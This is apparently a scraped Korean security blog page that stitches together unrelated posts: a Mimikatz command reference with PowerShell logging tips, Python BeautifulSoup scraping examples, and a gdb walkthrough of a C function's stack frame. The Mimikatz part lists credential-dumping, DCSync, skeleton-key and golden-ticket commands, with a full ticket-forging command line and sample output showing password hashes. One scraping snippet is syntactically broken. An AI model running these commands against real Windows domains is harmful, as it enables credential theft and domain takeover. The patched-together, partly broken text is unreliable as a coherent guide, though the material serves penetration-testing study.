  • 모든 Windows 시스템에 PowerShell v3 이상이 설치되어 있는지 확인하십시오. PowerShell의 최신 버전에는 특히 PowerShell v5와 같은 로깅 기능이 향상되었습니다.
  • 그룹 정책(Group Policy)을 통한 PowerShell 모듈 로깅 사용 : 컴퓨터 구성 > 정책 > 관리 템플릿 >  Windows 구성 요소 및 Windows PowerShell > 모듈 로깅 켜기 "*"를 입력하고 확인을 클릭하십시오. 그러면 모든 PowerShell 모듈을 포함하여 모든 PowerShell 작업이 기록됩니다





----- to do

"Sneaky" Mimikatz Execution:

Casey Smith (@subtee & blog)는 애플리케이션 허용 목록이 많은 사람들이 생각하는 만병 통치약이 아닌 방법을 보여주는 많은 작업을 수행했습니다. 그럼에도 불구하고 응용 프로그램 허용 목록 작성은 심층 방어 전략의 견고한 계층입니다. Casey는 또한 Mimikatz를 실행하는 많은 창의적이고 교활한 방법을 제시했습니다.

참고 : Subtee는 GitHub repo를 중단 했으므로 더 이상 작동하지 않으며 제거되었습니다.


Most Popular Mimikatz Commands:

다음은 가장 널리 사용되는 Mimikatz 명령 및 관련 기능 중 일부입니다.

  • CRYPTO::Certificates - 인증서 나열 / 내보내기
  • KERBEROS::Golden - golden/silver/trust 티켓(tickets) 생성
  • KERBEROS::List - 사용자 메모리에있는 모든 사용자 티켓 (TGT 및 TGS) 나열. 현재 사용자의 티켓 만 표시하므로 특별한 권한이 필요하지 않습니다. "klist"기능과 비슷합니다.
  • KERBEROS::PTT - 일반적으로 훔치거나 또는 위조된 Kerberos 티켓 (Golden / Silver / Trust)을 삽입하는데 사용됩니다.
  • LSADUMP::DCSync - DC에 개체 동기화를 요청. (계정의 암호 데이터 가져 오기). DC에서 코드를 실행할 필요가 없습니다.
  • LSADUMP::LSA - LSA Server에 SAM/AD 엔터프라이즈 검색 (정상, 패치 즉시 적용 또는 삽입)을 요청. 도메인 컨트롤러 또는 lsass.dmp 덤프 파일에서 모든 Active Directory 도메인 자격 증명을 덤프하는 데 사용합니다. 또한 / name : "/ name : krbtgt"매개 변수와 함께 krbtgt와 같은 특정 계정 인증 정보를 얻는 데 사용됩니다.
  • LSADUMP::SAM  - (레지스트리 또는 하이브에서) SAM 항목의 암호를 해독하기위해 SysKey를 가져옵니다. SAM 옵션은 local Security Account Manager(SAM) 데이터벵스에 연결하고 로컬 계정에 대한 자격 증명을 덤프합니다. 이것은 Windows 컴퓨터에서 모든 로컬 자격 증명을 덤프하는데 사용 됩니다.
  • LSADUMP::Trust - LSA서버에 신뢰 인증 정보Trust Auth Information을 요청하십시요. 연결된 모든 트러스트(Domain/forest)의 트러스트 키(패스워드)를 덤프합니다.
  • MISC::AddSid - 사용자 계정에 SIDHistory를 추가합니다. 첫번째 값은 타겟 계정이며 두 번째 값은 계정/그룹 이름(or SID)입니다. 
  • MISC::MemSSP - 악성 Windows SSP를 주입하여 로컬로 인증된 자격 증명을 기록(log)합니다.
  • MISC::Skeleton - 도메인 컨트롤러(Domain Controller)의 LSASS 프로세스에 스켈레톤 키(Skeleton Key)를 주입합니다. 
  • PRIVILEGE:Debu - 디버그 권한을 얻는다(Mimikatz의 명령어는 로컬 시스템 권한이 필요한 경우가 많습니다.)
  • SEKURLSA::Ekeys - Kerberos 암호화 키를 리스트 합니다.
  • SEKURLSA::Kerberos - 인증된 모든 사용자(서비스 및 컴퓨터 계정 포함)에 대한 Kerberos 자격 증명을 리스트 합니다.
  • SEKURLSA::Krbtgt - 도메인 Kerberos 서비스 계정(KRBTGT)의 암호 데이터를 가져옵니다.
  • SEKURLSA::LogonPasswords - 사용 가능한 모든 Provider의 자격 증명을 나열합니다. 일반적으로 최근에 로그온 한 사용자 및 컴퓨터 자격 증명을 보여줍니다. 
  • SEKURLSA::Pth - Pass- theHash and Over-Pass-the-Hash
  • SEKURLSA::Tickets - 사용자 계정 및 로컬 컴퓨터의 AD 컴퓨터 계정 context에서 실행되는 서비스를 포함하여 최근에 인증 된 모든 사용자에 대해 사용 가능한 모든 Kerberos 티켓을 나열합니다. kerberos::list와 달리 sekurlsa는 메모리 읽기를 사용합니다. sekurlsa는 다른 세션(사용자)의 티켓에 접근할 수 있습니다.
  • TOKEN::List - 시스템의 모든 토큰을 보여줍니다.
  • TOKEN::Elevate - 토큰을 가장합니다. SYSTEM권한으로 상승하거나 도메인 관리자 토큰을 찾기위해 사용합니다.
  • TOKEN::Elevate /doaminadmin - Doamin Admin 자격 증명으로 토큰을 가장합니다.

Mimikatz Command Guide:

Mimikatz는 "Mimikatz.exe"를 실행하거나 Command 및 Exit를 전달하여 대화형 모드에서 실행할 수 있습니다.(예 : 'Mimikatz "kerberos::list" exit;). Invoke-Mimikatz에는 대화형 모드가 없습니다. 
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 17 modules * * */
 



mimikatz(commandline) # privilege::debug
 Privilege '20' OK


mimikatz(commandline) # sekurlsa::logonpasswords


Authentication Id : 0 ; 646260 (00000000:0009dc74)
 Session           : RemoteInteractive from 2
 User Name         : adsadministrator
 Domain            : ADSECLAB
 Logon Server      : ADSDC03
 Logon Time        : 11/27/2015 11:41:27 AM
 SID               : S-1-5-21-1581655573-3923512380-696647894-500
 msv :
 [00000003] Primary
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 [00010000] CredentialKeys
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 tspkg :
 wdigest :
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * Password : (null)
 kerberos :
 * Username : adsadministrator
 * Domain   : LAB.ADSECURITY.ORG
 * Password : (null)
 ssp :   KO
 





KERBEROS

이 모듈의 명령에는 특별한 권한이 필요하지 않습니다.

KERBEROS::Ask – TGS 티켓 요청

KERBEROS::Clist – list tickets in MIT/Heimdall ccache

KERBEROS::Golden - golden/silver/trust 티켓 생성

이 명령은 검색된 패스워드 해시 타입을 기반으로합니다.

 Type 

 Requrement

 Scope

 Golden

 KRBTGT hash

 Domain/Forest

 Silver

 Service hash

 Service

 Trust

 Trust hash

 Domain/Forest -> Domain/Forest

 (based on account access)


Golden Ticket

골든 티켓은 KRBTGT NTLM 암호 해시를 사용하여 암호화하고 서명하는 TGT입니다.

골든 티켓 (GT)은 도메인의 모든 리소스에 도메인의 모든 그룹 구성원 (사실상 또는 무제한의 권리를 제공함)으로 도메인의 모든 사용자 (실제 또는 상상)를 가장하기 위해 만들 수 있습니다. 골든 티켓 (TGT)에는 PAC (사용자 그룹 멤버쉽 정보)가 포함되어 있으며 KRBTGT 계정에서만 열어 읽을 수있는 도메인의 Kerberos 서비스 어카운트(KRBTGT)를 사용하여 서명되고 암호화됩니다.

요약하면 공격자가 KRBTGT 암호 해시에 액세스하면 언제든지 AD에 액세스 할 수있는 골든 티켓 (TGT)을 만들 수 있습니다.

Mimikatz Golden Ticket Command Reference:

골든 티켓을 만드는 Mimikatz 명령은 "kerberos::golden"입니다.

  • /domain - 도메인 이름 예 : "lab.adsecurity.org"
  • /sid - 도메인의 SID 예 : “S-1-5-21-1473643419-774954089-2222329127”.
  • /sids - 티켓을 스푸핑 할 권한이 있는 AD 포리스트의 계정 / 그룹에 대한 추가 SID입니다. 일반적으로 루트 도메인의 엔터프라이즈 관리자 그룹(Eterprise Admins group)입니다. "S-1-5-21-1473643419-774954089-5872329127-519"
  • /user - 명의를 도용할 사용자 이름
  • /group (선택사항) - 기본 그룹 : 잘 알려진 관리자 그룹 (아래 설명)에 대해 513,512,520,518,519
  • /krbtgt - 도메인 KDC 서비스 계정(KRBTGT)에 대한 NTLM 암호 해시 TGT를 암호화하고 서명하는 데 사용됩니다.
  • /ticket(선택사항) - 골든 티켓 파일을 나중에 사용하기 위해 저장하기위한 경로와 이름을 제공하거나 /ptt를 사용하여 골든 티켓을 즉시 메모리에 삽입하여 사용합니다.
  • /ptt - /ticket 대신에 - 위조된 티켓을 즉시 메모리에 삽입하여 사용합니다.
  • /id(선택 사항) - 사용자 RID. Mimikatz 디폴트는 500입니다 (기본 관리자 계정 RID).
  • /startoffset (선택 사항) - 티켓을 사용할 수 있을 때의 시작 오프셋입니다 (일반적으로이 옵션을 사용하면 10 또는 0으로 설정 됨). Mimikatz 기본값은 0입니다.
  • /endin (선택 사항) - 티켓 수명(Ticket Lifetime). Mimikatz 기본값은 10 년(~ 5,262,480 분)입니다. Active Directory 기본 Kerberos 정책 설정은 10 시간 (600 분)입니다.
  • /renewmax (선택 사항) - 갱신 된 최대 티켓 수명. Mimikatz 기본값은 10 년(~ 5,262,480 분)입니다. Active Directory 기본 Kerberos 정책 설정은 7 일 (10,080 분)입니다.
  • /sids (선택 사항) - AD 포리스트([ADRootDomainSID]-519)의 Enterprise Admins 그룹의 SID로 설정되어 AD 포리스트(AD admin in every domain in the AD Forest) 전체에서 엔터프라이즈 관리자 권한을 스푸핑합니다.
  • /aes128 – AES128 키
  • /aes256 – AES256 키

Golden Ticket Default Groups:

  • Domain Users SID: S-1-5-21<DOMAINID>-513
  • Domain Admins SID: S-1-5-21<DOMAINID>-512
  • Schema Admins SID: S-1-5-21<DOMAINID>-518
  • Enterprise Admins SID: S-1-5-21<DOMAINID>-519 (포리스트 루트 도메인에서 위조된 티켓을 만들었지 만 AD 포리스트 관리자 권한에 /sids 매개 변수를 사용하여 추가하는 경우에만 효과적입니다.)
  • Group Policy Creator Owners SID: S-1-5-21<DOMAINID>-520

명령어 예제:

.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit



























'Hacking > Penetration Testing' 카테고리의 다른 글

Pentest@Kerberos# 커버로스 인증 방식  (0) 2018.09.08

EX#1) Script - 페이지 링크 목록가져오기

from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
 
html = urlopen("http://en.wikipedia.org/wiki/Kevin_Bacon")
bs0bj = BeautifulSoup(html, "html.parser")
for link in bs0bj.findAll("a"):
    if 'href' in link.attrs:
        print(link.attrs['href'])


Ex#1) Result - 페이지 링크 목록가져오기

/wiki/Tomas_Milian
/wiki/D._W._Moffett
/wiki/Dennis_Quaid
/wiki/Peter_Riegert
/wiki/Jacob_Vargas
/wiki/Catherine_Zeta-Jones
/wiki/Screen_Actors_Guild_Award_for_Outstanding_Performance_by_a_Cast_in_a_Motion_Picture
/wiki/Template:ScreenActorsGuildAward_CastMotionPicture_1995%E2%80%932000
/wiki/Template:ScreenActorsGuildAward_CastMotionPicture_2001%E2%80%932010
/wiki/Template:ScreenActorsGuildAward_CastMotionPicture_2011%E2%80%932020
/wiki/Help:Authority_control
https://www.worldcat.org/identities/containsVIAFID/39570812
/wiki/Virtual_International_Authority_File
https://viaf.org/viaf/39570812
/wiki/Library_of_Congress_Control_Number
http://id.loc.gov/authorities/names/n88034930
/wiki/International_Standard_Name_Identifier
...



Ex#2) Script - 데이터 수집

from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
 
pages = set()
def getLinks(pageUrl):
    global pages
    html = urlopen("http://en.wikipedia.org"+pageUrl)
    bs0bj = BeautifulSoup(html, "html.parser")
    for link in bs0bj.findAll("a", href=re.compile("^(/wiki/)")):
        if link.attrs['href'not in pages:
            newPage=link.attrs['href']
            print(newPage)
            pages.add(newPage)
            getLinks(newPage)
getLinks("")
 


Ex#2) Result - 데이터 수집

/wiki/Wikipedia
/wiki/Wikipedia:Protection_policy#semi
/wiki/Wikipedia:Requests_for_page_protection
/wiki/Wikipedia:Requests_for_permissions
/wiki/Wikipedia:Requesting_copyright_permission
/wiki/Wikipedia:User_access_levels
/wiki/Wikipedia:Requests_for_adminship
...








from bs4 import BeautifulSoup
import re
from urllib.request import urlopen
 
 
html = urlopen("http://www.pythonscraping.com/pages/page3.html")
bsObj = BeautifulSoup(html, "html.parser")
 
images = bsObj.findAll("img", {"src":re.compile("\.\.\/img\/gifts/img.*\.jpg")})
for image in images:
    print(image["src"])
 



../img/gifts/img1.jpg
../img/gifts/img2.jpg
../img/gifts/img3.jpg
../img/gifts/img4.jpg
../img/gifts/img6.jpg




(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x080483e5 <+0>:    push   ebp
   0x080483e6 <+1>:    mov    ebp,esp
   0x080483e8 <+3>:    and    esp,0xfffffff0
   0x080483eb <+6>:    sub    esp,0x10
   0x080483ee <+9>:    mov    DWORD PTR [esp+0x4],0x2
   0x080483f6 <+17>:    mov    DWORD PTR [esp],0x1
   0x080483fd <+24>:    call   0x80483c4 <sum>
   0x08048402 <+29>:    mov    eax,0x0
   0x08048407 <+34>:    leave  
   0x08048408 <+35>:    ret    
End of assembler dump.




(gdb) info b
No breakpoints or watchpoints.
(gdb) b * main
Breakpoint 1 at 0x80483e5: file test.c, line 12.
(gdb) info b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x080483e5 in main at test.c:12



gdb) r
Starting program: /root/Desktop/test 
 
Breakpoint 1, main () at test.c:12
12    int  main(){
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) disas main
Dump of assembler code for function main:
=> 0x080483e5 <+0>:    push   ebp
   0x080483e6 <+1>:    mov    ebp,esp
   0x080483e8 <+3>:    and    esp,0xfffffff0
   0x080483eb <+6>:    sub    esp,0x10
   0x080483ee <+9>:    mov    DWORD PTR [esp+0x4],0x2
   0x080483f6 <+17>:    mov    DWORD PTR [esp],0x1
   0x080483fd <+24>:    call   0x80483c4 <sum>
   0x08048402 <+29>:    mov    eax,0x0
   0x08048407 <+34>:    leave  
   0x08048408 <+35>:    ret    
End of assembler dump.
 




(gdb) info reg
eax            0xbffff4e4    -1073744668
ecx            0x44802753    1149249363
edx            0x1    1
ebx            0x92fff4    9633780
esp            0xbffff43c    0xbffff43c
ebp            0xbffff4b8    0xbffff4b8
esi            0x0    0
edi            0x0    0
eip            0x80483e5    0x80483e5 <main>
eflags         0x200246    [ PF ZF IF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
 



(gdb) ni
0x080483e6    12    int  main(){
(gdb) disas main
Dump of assembler code for function main:
   0x080483e5 <+0>:    push   ebp
=> 0x080483e6 <+1>:    mov    ebp,esp
   0x080483e8 <+3>:    and    esp,0xfffffff0
   0x080483eb <+6>:    sub    esp,0x10
   0x080483ee <+9>:    mov    DWORD PTR [esp+0x4],0x2
   0x080483f6 <+17>:    mov    DWORD PTR [esp],0x1
   0x080483fd <+24>:    call   0x80483c4 <sum>
   0x08048402 <+29>:    mov    eax,0x0
   0x08048407 <+34>:    leave  
   0x08048408 <+35>:    ret    
End of assembler dump.


(gdb) disas main
Dump of assembler code for function main:
   0x080483e5 <+0>:    push   ebp
   0x080483e6 <+1>:    mov    ebp,esp
=> 0x080483e8 <+3>:    and    esp,0xfffffff0
   0x080483eb <+6>:    sub    esp,0x10
   0x080483ee <+9>:    mov    DWORD PTR [esp+0x4],0x2
   0x080483f6 <+17>:    mov    DWORD PTR [esp],0x1
   0x080483fd <+24>:    call   0x80483c4 <sum>
   0x08048402 <+29>:    mov    eax,0x0
   0x08048407 <+34>:    leave  
   0x08048408 <+35>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff438    0xbffff438
esp            0xbffff438    0xbffff438
(gdb) x/10wx $esp
0xbffff438:    0xbffff4b8    0x007b3d26    0x00000001    0xbffff4e4
0xbffff448:    0xbffff4ec    0xb7fff3d0    0x08048310    0xffffffff
0xbffff458:    0x0075efc4    0x0804822c
(gdb) 
 



(gdb) disas main
Dump of assembler code for function main:
   0x080483e5 <+0>:    push   ebp
   0x080483e6 <+1>:    mov    ebp,esp
   0x080483e8 <+3>:    and    esp,0xfffffff0
   0x080483eb <+6>:    sub    esp,0x10
   0x080483ee <+9>:    mov    DWORD PTR [esp+0x4],0x2
=> 0x080483f6 <+17>:    mov    DWORD PTR [esp],0x1
   0x080483fd <+24>:    call   0x80483c4 <sum>
   0x08048402 <+29>:    mov    eax,0x0
   0x08048407 <+34>:    leave  
   0x08048408 <+35>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff438    0xbffff438
esp            0xbffff420    0xbffff420
(gdb) x/10wx $esp
0xbffff420:    0x08048420    0x00000002    0x0804842b    0x0092fff4
0xbffff430:    0x08048420    0x00000000    0xbffff4b8    0x007b3d26
0xbffff440:    0x00000001    0xbffff4e4


(gdb) disas main
Dump of assembler code for function main:
   0x080483e5 <+0>:    push   ebp
   0x080483e6 <+1>:    mov    ebp,esp
   0x080483e8 <+3>:    and    esp,0xfffffff0
   0x080483eb <+6>:    sub    esp,0x10
   0x080483ee <+9>:    mov    DWORD PTR [esp+0x4],0x2
   0x080483f6 <+17>:    mov    DWORD PTR [esp],0x1
=> 0x080483fd <+24>:    call   0x80483c4 <sum>
   0x08048402 <+29>:    mov    eax,0x0
   0x08048407 <+34>:    leave  
   0x08048408 <+35>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff438    0xbffff438
esp            0xbffff420    0xbffff420
(gdb) x/10wx $esp
0xbffff420:    0x00000001    0x00000002    0x0804842b    0x0092fff4
0xbffff430:    0x08048420    0x00000000    0xbffff4b8    0x007b3d26
0xbffff440:    0x00000001    0xbffff4e4



(gdb) c
Continuing.
 
Breakpoint 2, sum (a=1, b=2) at test.c:4
4    void sum(int a, int b){
(gdb) disas sum
Dump of assembler code for function sum:
=> 0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff438    0xbffff438
esp            0xbffff41c    0xbffff41c
(gdb) x/10wx $esp
0xbffff41c:    0x08048402    0x00000001    0x00000002    0x0804842b
0xbffff42c:    0x0092fff4    0x08048420    0x00000000    0xbffff4b8
0xbffff43c:    0x007b3d26    0x00000001


(gdb) ni
0x080483c5    4    void sum(int a, int b){
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
=> 0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff438    0xbffff438
esp            0xbffff418    0xbffff418
(gdb) x/10wx $esp
0xbffff418:    0xbffff438    0x08048402    0x00000001    0x00000002
0xbffff428:    0x0804842b    0x0092fff4    0x08048420    0x00000000
0xbffff438:    0xbffff4b8    0x007b3d26


(gdb) ni
0x080483c7    4    void sum(int a, int b){
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
=> 0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff418    0xbffff418
esp            0xbffff418    0xbffff418
(gdb) x/10wx $esp
0xbffff418:    0xbffff438    0x08048402    0x00000001    0x00000002
0xbffff428:    0x0804842b    0x0092fff4    0x08048420    0x00000000
0xbffff438:    0xbffff4b8    0x007b3d26


(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
=> 0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp $eax
ebp            0xbffff418    0xbffff418
esp            0xbffff400    0xbffff400
eax            0x2    2
(gdb) x/10wx $esp
0xbffff400:    0x00000016    0x08049660    0xbffff438    0x08048439
0xbffff410:    0x0092e1d8    0x0804822c    0xbffff438    0x08048402
0xbffff420:    0x00000001    0x00000002
 




(gdb) ni
0x080483d0    6        printf("sum :%d\n", a+b);
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
=> 0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp $eax $edx
ebp            0xbffff418    0xbffff418
esp            0xbffff400    0xbffff400
eax            0x2    2
edx            0x1    1
(gdb) x/10wx $esp
0xbffff400:    0x00000016    0x08049660    0xbffff438    0x08048439
0xbffff410:    0x0092e1d8    0x0804822c    0xbffff438    0x08048402
0xbffff420:    0x00000001    0x00000002
 



(gdb) ni
0x080483d2    6        printf("sum :%d\n", a+b);
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
=> 0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp $eax $edx
ebp            0xbffff418    0xbffff418
esp            0xbffff400    0xbffff400
eax            0x2    2
edx            0x3    3
(gdb) x/10wx $esp
0xbffff400:    0x00000016    0x08049660    0xbffff438    0x08048439
0xbffff410:    0x0092e1d8    0x0804822c    0xbffff438    0x08048402
0xbffff420:    0x00000001    0x00000002


(gdb) ni
0x080483d7    6        printf("sum :%d\n", a+b);
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
=> 0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp $eax $edx
ebp            0xbffff418    0xbffff418
esp            0xbffff400    0xbffff400
eax            0x80484d4    134513876
edx            0x3    3
(gdb) x/10wx $esp
0xbffff400:    0x00000016    0x08049660    0xbffff438    0x08048439
0xbffff410:    0x0092e1d8    0x0804822c    0xbffff438    0x08048402
0xbffff420:    0x00000001    0x00000002


(gdb) ni
0x080483db    6        printf("sum :%d\n", a+b);
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
=> 0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp $eax $edx
ebp            0xbffff418    0xbffff418
esp            0xbffff400    0xbffff400
eax            0x80484d4    134513876
edx            0x3    3
(gdb) x/10wx $esp
0xbffff400:    0x00000016    0x00000003    0xbffff438    0x08048439
0xbffff410:    0x0092e1d8    0x0804822c    0xbffff438    0x08048402
0xbffff420:    0x00000001    0x00000002


(gdb) ni
0x080483de    6        printf("sum :%d\n", a+b);
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
=> 0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp $eax $edx
ebp            0xbffff418    0xbffff418
esp            0xbffff400    0xbffff400
eax            0x80484d4    134513876
edx            0x3    3
(gdb) x/10wx $esp
0xbffff400:    0x080484d4    0x00000003    0xbffff438    0x08048439
0xbffff410:    0x0092e1d8    0x0804822c    0xbffff438    0x08048402
0xbffff420:    0x00000001    0x00000002
 



(gdb) ni
sum :3
7    }
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
=> 0x080483e3 <+31>:    leave  
   0x080483e4 <+32>:    ret    
End of assembler dump.
(gdb) i r $ebp $esp
ebp            0xbffff418    0xbffff418
esp            0xbffff400    0xbffff400
(gdb) x/10wx $esp
0xbffff400:    0x080484d4    0x00000003    0xbffff438    0x08048439
0xbffff410:    0x0092e1d8    0x0804822c    0xbffff438    0x08048402
0xbffff420:    0x00000001    0x00000002
 


 


leave = mov ebp, esp + pop ebp

ex:) Pop eax :스택에 가장 상위에 있는 값을 꺼내애서 eax에 저장한다.

ret

(gdb) ni
0x080483e4 in sum (a=can't compute CFA for this frame
) at test.c:7
7    }
(gdb) disas sum
Dump of assembler code for function sum:
   0x080483c4 <+0>:    push   ebp
   0x080483c5 <+1>:    mov    ebp,esp
   0x080483c7 <+3>:    sub    esp,0x18
   0x080483ca <+6>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080483d0 <+12>:    add    edx,eax
   0x080483d2 <+14>:    mov    eax,0x80484d4
   0x080483d7 <+19>:    mov    DWORD PTR [esp+0x4],edx
   0x080483db <+23>:    mov    DWORD PTR [esp],eax
   0x080483de <+26>:    call   0x80482f4 <printf@plt>
   0x080483e3 <+31>:    leave  
=> 0x080483e4 <+32>:    ret    
